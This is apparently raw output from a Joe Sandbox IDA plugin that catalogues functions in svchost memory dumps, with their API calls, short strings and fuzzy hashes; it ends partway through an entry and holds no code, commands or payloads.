Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: efc9dd88066c2b846a4813f200c66da5525754cb4ea5464905f9a4518e267477
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 690129B5291F82C2FB249B22E8183B963E0BB49BC6F0844B8CD4E07765EF3DC1488700

Function 000001F28C938FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C939013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C9390A8
RtlUnwindEx.NTDLL ref: 000001F28C9390F7

Strings

f, xrefs: 000001F28C939026
csm, xrefs: 000001F28C93908E

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: f9eb285e1d34bcdb7ed76620ca0307c61ee7c6b0458fb15f7398ffc743cad808
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: A451DF32345A828AEB14CF65E848BB977E6F344BC8F1A91B4DE0653788DB75CA81C700

Function 000001F28C931A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001F28C931A60
StrCmpNIW.SHLWAPI ref: 000001F28C931A7A
lstrlenW.KERNEL32 ref: 000001F28C931A89
StrCpyW.SHLWAPI ref: 000001F28C931A9E

Strings

\\?\, xrefs: 000001F28C931A6E

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: efef17bbaea8c09d0e74b7a2858e95e013f6fcdb200dc7db2845cff4b926692d
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 71F04F72344EC292EB608F21F8847B967A1F748BC9F889070DA4987964DF3CC68DCB00

Function 000001F28C933044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001F28C933066
StrCpyW.SHLWAPI ref: 000001F28C933076
StrCatW.SHLWAPI ref: 000001F28C933082
PathCombineW.SHLWAPI ref: 000001F28C933090

Strings

\\.\pipe\, xrefs: 000001F28C93305C

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 148976000f075657713aaae28a70d927c58dd9bf1c24965bf8e6e3b71b7eca3c
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: CBF01275754FC682EA148B53B9141B966A6BB48FD0F08D1B4EE5A47B18DF3CC4458700

Function 000001F28C93BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001F28C93BCBD
GetProcAddress.KERNEL32 ref: 000001F28C93BCD3
FreeLibrary.KERNEL32 ref: 000001F28C93BCFA

Strings

CorExitProcess, xrefs: 000001F28C93BCCC
mscoree.dll, xrefs: 000001F28C93BCB4

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: fc48c038c58eca095657e722b28af341116bf169d467f81dd0427d00468570f8
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 90F090B1351F8681EB208B29E8443F963A1FB89BE1F5456B9CA6A472E4DF3CC048C340

Function 000001F28C9350D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28C935156

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 695498e749fc0dccb61c5851ea1446fca79afe24a4ea5175a6ebc953a781018c
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: FE02B536259BC586EB60CB65E4943BAB7E1F3C8794F145065FA8E87BA8DB7CC444CB00

Function 000001F28C935710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28C935726

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: af79dd3a637af7051ac8258955ba177530c52f0ebe9781b5e5262fa2f630485f
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 9B61B736559E86C6E760CB25E4443BAB7E0F388BC4F5421A5FA8E47BA8DB7CC540CB00

Function 000001F28C1E3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F28C1E352C
_set_statfp.LIBCMT ref: 000001F28C1E3547
_set_statfp.LIBCMT ref: 000001F28C1E3563
_set_statfp.LIBCMT ref: 000001F28C1E359F

Memory Dump Source

Source File: 00000043.00000002.3317699689.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a4a41e1020a2a8b071d84c40f44e8a003d1d22f86d765e777ed5b7e6a37d2a97
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 101191B2AD0F1391FA641528E4C13F91BC16F593F4FC88639E966C73D68BB4C841C200

Function 000001F28C944104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F28C94412C
_set_statfp.LIBCMT ref: 000001F28C944147
_set_statfp.LIBCMT ref: 000001F28C944163
_set_statfp.LIBCMT ref: 000001F28C94419F

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 18dd3864b1be54540109cc27050939df0162b2e3d2136eb0ccd191d63ff6d6f5
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 4B117032AD0ED3A2F6685568E8563F911C16B7C3F8F18C6F4E976077E6CB38CA416201

Function 000001F28C939650 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F28C93966F
SetLastError.KERNEL32 ref: 000001F28C9396F6

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction ID: 7bb4e64f612b34c83592e40eb8d5e89f9ecd63dea6d765824e11e06b7d663cc9
Opcode Fuzzy Hash: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction Fuzzy Hash: 26116030786EC382FF549735A8843F922D5AB487E4F0D66B4D926077D9EB38C841C700

Function 000001F28C1DF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001F28C1DF124

Strings

Tuesday, xrefs: 000001F28C1DF0F4
Wednesday, xrefs: 000001F28C1DF1ED
or copy constructor iterator', xrefs: 000001F28C1DF25A, 000001F28C1DF275

Memory Dump Source

Source File: 00000043.00000002.3317699689.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 8ad1ea8264d7c37166e6a84d5d136f736317519dcbce977c15a2e7b39df90729
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 1B61C1766A0E4242FA699B69E5C43FE6EE1E7867C0F544539DB0B077A4DB34FA42C300

Function 000001F28C93AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001F28C93AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001F28C93AAB7

Strings

MOC, xrefs: 000001F28C93AA7C
RCC, xrefs: 000001F28C93AA85

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: f049bdfa4467cedf291596ae25218e3f591c75243dbf1769f2e4c86082fcfec4
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: F8614737601A858AEB209FA5D8803FD77E1F344B98F089265EE4A57B99DB38C595C700

Function 000001F28C1DA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C1DA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F28C1DA288

Strings

csm, xrefs: 000001F28C1DA2DA
csm, xrefs: 000001F28C1DA1C2

Memory Dump Source

Source File: 00000043.00000002.3317699689.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 25aad5721677bc98cafa89319ea8e24db697cc3f84d272024727a276e12cc536
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: B5515C32180A82CEEB64CB2695843A97FE1F355BD4F18C226DB9987BD5CF38E491C701

Function 000001F28C93AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C93ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F28C93AE88

Strings

csm, xrefs: 000001F28C93ADC2
csm, xrefs: 000001F28C93AEDA

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 9177f0bf0d9df7804a9a46984ee0add15a62b848f9b6fecfe92ace9b6ae30fc5
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 2B518F72140AC28AEB748BB59D843B977E0F354BE5F1CA265DA5947BD5CF38D860CB00

Function 000001F28C1D8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C1D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C1D84A8

Strings

csm, xrefs: 000001F28C1D848E
f, xrefs: 000001F28C1D8426

Memory Dump Source

Source File: 00000043.00000002.3317699689.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: afc53225cc655b2fed49d42925427f3b528b099016d9c220d28cc2c64652b1ec
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 1D51AB32661A02CAFB18DB15E484BB93BE5F354BDCF518134DB1643B88EB78E841CB84

Function 000001F28C1D83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C1D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C1D84A8

Strings

csm, xrefs: 000001F28C1D848E
f, xrefs: 000001F28C1D8426

Memory Dump Source

Source File: 00000043.00000002.3317699689.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 5bb8fd39fd54a1bbbe4b45dd7fca3805f069a24c38516c4c1dc5b630a5076e57
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: C431BC72251B42D6F714DF12E884BA97BE8F740BC8F458124EF9A43B88DB38E941C784

Function 000001F28C942058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001F28C9420D7
WriteFile.KERNEL32 ref: 000001F28C94239F
WriteFile.KERNEL32 ref: 000001F28C9423E5
GetLastError.KERNEL32 ref: 000001F28C94249B

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: c39e5784b660c4a4d2f64d18794380c2bf08d3c743fbeb2aeb89f9dd3d7ee852
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: E0D19A72B54E818AE711CBA9D4402FC7BF1F358BD8F1482A6DE5997B99DB34C506C340

Function 000001F28C9314A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C9314C5
HeapFree.KERNEL32 ref: 000001F28C9314D4
GetProcessHeap.KERNEL32 ref: 000001F28C9314E1
HeapFree.KERNEL32 ref: 000001F28C9314F0
GetProcessHeap.KERNEL32 ref: 000001F28C931500

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 6a44d1e2dfff894d57fae1d393df2fad9fd7c7e601c52ccba1ddab5a2a16cdc8
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 90014476640ED1DAE704EF66E9082AAA7E0F78CFC1F088435EA4A43729EF38C151C740

Function 000001F28C942980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001F28C942A9C
GetLastError.KERNEL32 ref: 000001F28C942B27

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: fc060a2a777751a54c3aac3ae4014f4932e9590c1f0470bfe82fe847ff4173f9
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: DD91CE72B50ED289FB64DF6594903FD3BE0B745BC8F1481A9DE0AA7A95DB34C482C700

Function 000001F28C937960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001F28C93798C
GetCurrentThreadId.KERNEL32 ref: 000001F28C93799A
GetCurrentProcessId.KERNEL32 ref: 000001F28C9379A6
QueryPerformanceCounter.KERNEL32 ref: 000001F28C9379B6

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 96732df7916216e4dd4de8696d19f0f646e57f72df42aa736ed25244752b7042
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: B0111872790F428AEB008B70E8543B833A4F719798F441E35DA6D477A4EB78D2988380

Function 000001F28C93253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F28C932620
StrCpyW.SHLWAPI ref: 000001F28C932639

Strings

\\.\pipe\, xrefs: 000001F28C93262B

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: a81e46be2f1358104ca60f674bf27db7b8eb3ba3bc6c3102e371a9ccd66cc1d5
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 1B719F36280FC286EB259F36A8483FA67D4F389BC4F582076DD0A53B9ADF35D6458700

Function 000001F28C1D9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001F28C1D9EB7

Strings

MOC, xrefs: 000001F28C1D9E7C
RCC, xrefs: 000001F28C1D9E85

Memory Dump Source

Source File: 00000043.00000002.3317699689.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: ae7e25292b4b5205da875e4987803c657081cd892f163ddae90b46efd944a166
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 7E613432A01B868AEB20DF69D4803ED7BA0F748BD8F144225EF4917B99DB78E595C740

Function 000001F28C932330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F28C932416
StrCpyW.SHLWAPI ref: 000001F28C93242D

Strings

\\.\pipe\, xrefs: 000001F28C932421

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 2488fe1737ff95e66ad044885111441f0c3a749c14707708a82aa8e704c637ae
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: B551C072284FC381EB649A3AA4583FAA7D1F3857C0F4D61B5DE5903B9ADB39C6058740

Function 000001F28C9426F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001F28C942807
GetLastError.KERNEL32 ref: 000001F28C942829

Strings

U, xrefs: 000001F28C9427B3

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 2514762f6e10ab6845feae25dddec55dde5b08df4a5e13f98591cf2ab0d60153
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 60418D72615E8186EB209F25E8443FAB7A0F798BD4F548171EE4E87798EB3CC541CB50

Function 000001F28C9394A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001F28C9394F0
RaiseException.KERNEL32 ref: 000001F28C939531

Strings

csm, xrefs: 000001F28C93951E

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: a1389ac8532826ac596aaee6b13d59646ba39f355e91e1ec56b6d169f0d5a3fa
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 61112832214FC182EB618F25E4443A9B7E5FB88B94F598264EE8C07B69DF3CC595CB00

Function 000001F28C1D7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F28C1D737C

Strings

ierarchy Descriptor', xrefs: 000001F28C1D7381
riptor at (, xrefs: 000001F28C1D7364

Memory Dump Source

Source File: 00000043.00000002.3317699689.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 09633eca710365df152610dc5942b59f08b7406966c11a0154c1b9ae03bc6ca5
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 09E086B1680F4690DF028F62E8802E837E0DB58BA4B489132DA5C47351FB7CD1E9C300

Function 000001F28C1D73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F28C1D73D8

Strings

Locator', xrefs: 000001F28C1D73DD
riptor at (, xrefs: 000001F28C1D73C0

Memory Dump Source

Source File: 00000043.00000002.3317699689.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 6f46bb36e99698124d87c0e4d324587b24abbfd4879edec8008199ce5951e68a
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 74E0E6B1651F45D4DF028F61E4901E877A5E758B94B889132DA5C47355EB78D1E5C300

Function 000001F28C931BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C931C2D
HeapAlloc.KERNEL32 ref: 000001F28C931C3B
GetProcessHeap.KERNEL32 ref: 000001F28C931C77
HeapFree.KERNEL32 ref: 000001F28C931C85

Part of subcall function 000001F28C93152C: StrCmpIW.SHLWAPI ref: 000001F28C93155D

